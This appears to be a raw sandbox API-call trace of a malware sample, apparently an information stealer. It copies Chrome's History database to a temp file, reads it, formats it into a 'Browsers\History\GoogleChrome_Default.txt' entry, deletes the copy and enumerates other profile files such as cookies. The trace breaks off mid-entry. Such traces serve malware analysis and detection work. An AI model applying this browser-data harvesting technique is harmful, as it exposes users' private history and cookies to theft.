1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0c8*=0x0, psz="2521", len=0x4 | out: pbstr=0x18e0c8*="2521") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0c4*=0x0, psz="4528", len=0x4 | out: pbstr=0x18e0c4*="4528") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e140*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e0d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x54 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0075.102] SysReAllocStringLen (in: pbstr=0x18e0d4*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e0d4*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e0d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x53 | out: pbstr=0x18e140*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0075.103] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6da6ac, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0075.103] SysReAllocStringLen (in: pbstr=0x18e13c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e0d8*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e0d8*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e0d4*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e0d4*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e0d0*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e0d0*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] SysReAllocStringLen (in: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", len=0x3f | out: pbstr=0x18e13c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 1 [0075.103] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp"), bFailIfExists=1) returned 1 [0075.116] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", cchWideChar=63, lpMultiByteStr=0x18d0d4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", lpUsedDefaultChar=0x0) returned 63 [0075.116] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452e44c, cbMultiByte=63, lpWideCharStr=0x18d0b4, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp") returned 63 [0075.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0075.117] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", nBufferLength=0x43, lpBuffer=0x4703ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp", lpFilePart=0x0) returned 0x3f [0075.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18def0 | out: lpFileInformation=0x18def0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb772df90, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb772df90, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x87f47590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19000)) returned 1 [0075.117] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x440 [0075.117] ReadFile (in: hFile=0x440, lpBuffer=0x18e020, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18dfe4, lpOverlapped=0x18dfa8 | out: lpBuffer=0x18e020*, lpNumberOfBytesRead=0x18dfe4*=0x64, lpOverlapped=0x18dfa8) returned 1 [0075.117] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0075.117] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d3a8 | out: lpOverlapped=0x18d3a8) returned 1 [0075.117] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d39c | out: lpOverlapped=0x18d39c) returned 1 [0075.117] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d3ac | out: lpOverlapped=0x18d3ac) returned 1 [0075.117] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.117] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d3a8 | out: lpFileInformation=0x18d3a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.117] GetLastError () returned 0x2 [0075.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d3c0 | out: lpFileInformation=0x18d3c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.118] GetLastError () returned 0x2 [0075.118] ReadFile (in: hFile=0x440, lpBuffer=0x4766be0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18d3c8, lpOverlapped=0x18d38c | out: lpBuffer=0x4766be0*, lpNumberOfBytesRead=0x18d3c8*=0x1000, lpOverlapped=0x18d38c) returned 1 [0075.118] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d0a8 | out: lpOverlapped=0x18d0a8) returned 1 [0075.118] LockFileEx (in: hFile=0x440, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd78 | out: lpOverlapped=0x18dd78) returned 1 [0075.118] LockFileEx (in: hFile=0x440, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18dd6c | out: lpOverlapped=0x18dd6c) returned 1 [0075.119] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd7c | out: lpOverlapped=0x18dd7c) returned 1 [0075.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0075.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18dd78 | out: lpFileInformation=0x18dd78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.119] GetLastError () returned 0x2 [0075.119] ReadFile (in: hFile=0x440, lpBuffer=0x18ddfc, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18dde4, lpOverlapped=0x18dda8 | out: lpBuffer=0x18ddfc*, lpNumberOfBytesRead=0x18dde4*=0x10, lpOverlapped=0x18dda8) returned 1 [0075.119] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0075.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18dd90 | out: lpFileInformation=0x18dd90*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0075.119] GetLastError () returned 0x2 [0075.120] ReadFile (in: hFile=0x440, lpBuffer=0x4765b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ddb0, lpOverlapped=0x18dd74 | out: lpBuffer=0x4765b40*, lpNumberOfBytesRead=0x18ddb0*=0x1000, lpOverlapped=0x18dd74) returned 1 [0075.120] ReadFile (in: hFile=0x440, lpBuffer=0x4764aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18dd58, lpOverlapped=0x18dd1c | out: lpBuffer=0x4764aa0*, lpNumberOfBytesRead=0x18dd58*=0x1000, lpOverlapped=0x18dd1c) returned 1 [0075.120] ReadFile (in: hFile=0x440, lpBuffer=0x4763a00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18dd68, lpOverlapped=0x18dd2c | out: lpBuffer=0x4763a00*, lpNumberOfBytesRead=0x18dd68*=0x1000, lpOverlapped=0x18dd2c) returned 1 [0075.120] UnlockFileEx (in: hFile=0x440, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dd60 | out: lpOverlapped=0x18dd60) returned 1 [0075.120] SysReAllocStringLen (in: pbstr=0x18e1a4*=0x0, psz="[2017-06-05 01:52:34] \r\nhttps://dl.google.com/update2/installers/clickonce/GoogleInstaller_de.application?appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B68554C01-EC80-275E-D8D9-EB318EE0B244%7D%26lang%3Dde%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1\r\n\r\n[2017-06-05 01:52:32] Chrome für Desktop-Computer\r\nhttps://www.google.com/intl/de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-05 01:52:32] Sign in bei Hotmail, Outlook Login, Skype, Messenger – MSN Deutschland\r\nhttp://www.msn.com/de-de/?ocid=iehp\r\n\r\n[2017-06-05 01:52:12] download chrome - Bing\r\nhttp://www.bing.com/search?q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:08] \r\nhttp://www.bing.com/favicon.ico\r\n\r\n[2017-06-05 01:52:06] \r\nhttps://support.microsoft.com/en-us/products/internet-explorer\r\n\r\n[2017-06-05 01:52:06] RSS\r\nhttp://www.bing.com/search?format=rss&q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://ieonline.microsoft.com/favicon.ico\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/products/internet-explorer\r\n\r\n[2017-06-05 01:52:04] \r\nhttp://go.microsoft.com/fwlink/?LinkID=121792\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/internet-explorer\r\n\r\n[2017-06-05 01:52:00] \r\nhttp://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://www.msn.com/?ocid=iehp\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://go.microsoft.com/fwlink/?LinkId=69157\r\n\r\n", len=0x5ba | out: pbstr=0x18e1a4*="[2017-06-05 01:52:34] \r\nhttps://dl.google.com/update2/installers/clickonce/GoogleInstaller_de.application?appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B68554C01-EC80-275E-D8D9-EB318EE0B244%7D%26lang%3Dde%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1\r\n\r\n[2017-06-05 01:52:32] Chrome für Desktop-Computer\r\nhttps://www.google.com/intl/de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-05 01:52:32] Sign in bei Hotmail, Outlook Login, Skype, Messenger – MSN Deutschland\r\nhttp://www.msn.com/de-de/?ocid=iehp\r\n\r\n[2017-06-05 01:52:12] download chrome - Bing\r\nhttp://www.bing.com/search?q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:08] \r\nhttp://www.bing.com/favicon.ico\r\n\r\n[2017-06-05 01:52:06] \r\nhttps://support.microsoft.com/en-us/products/internet-explorer\r\n\r\n[2017-06-05 01:52:06] RSS\r\nhttp://www.bing.com/search?format=rss&q=download+chrome&FORM=IE8SRC\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://ieonline.microsoft.com/favicon.ico\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/products/internet-explorer\r\n\r\n[2017-06-05 01:52:04] \r\nhttp://go.microsoft.com/fwlink/?LinkID=121792\r\n\r\n[2017-06-05 01:52:04] \r\nhttps://support.microsoft.com/internet-explorer\r\n\r\n[2017-06-05 01:52:00] \r\nhttp://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://www.msn.com/?ocid=iehp\r\n\r\n[2017-06-05 01:51:58] \r\nhttp://go.microsoft.com/fwlink/?LinkId=69157\r\n\r\n") returned 1 [0075.120] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1335211252491625214528.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1335211252491625214528.tmp")) returned 1 [0075.122] CharToOemBuffA (in: lpszSrc="Browsers\\History\\GoogleChrome_Default.txt", lpszDst=0x452ea14, cchDstLength=0x29 | out: lpszDst="Browsers\\History\\GoogleChrome_Default.txt") returned 1 [0075.122] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x452ea84, Length=0x5ba) returned 0x321d272b [0075.122] VirtualAlloc (lpAddress=0x4534000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4534000 [0075.122] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0075.123] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1bc | out: lpFindFileData=0x18e1bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, 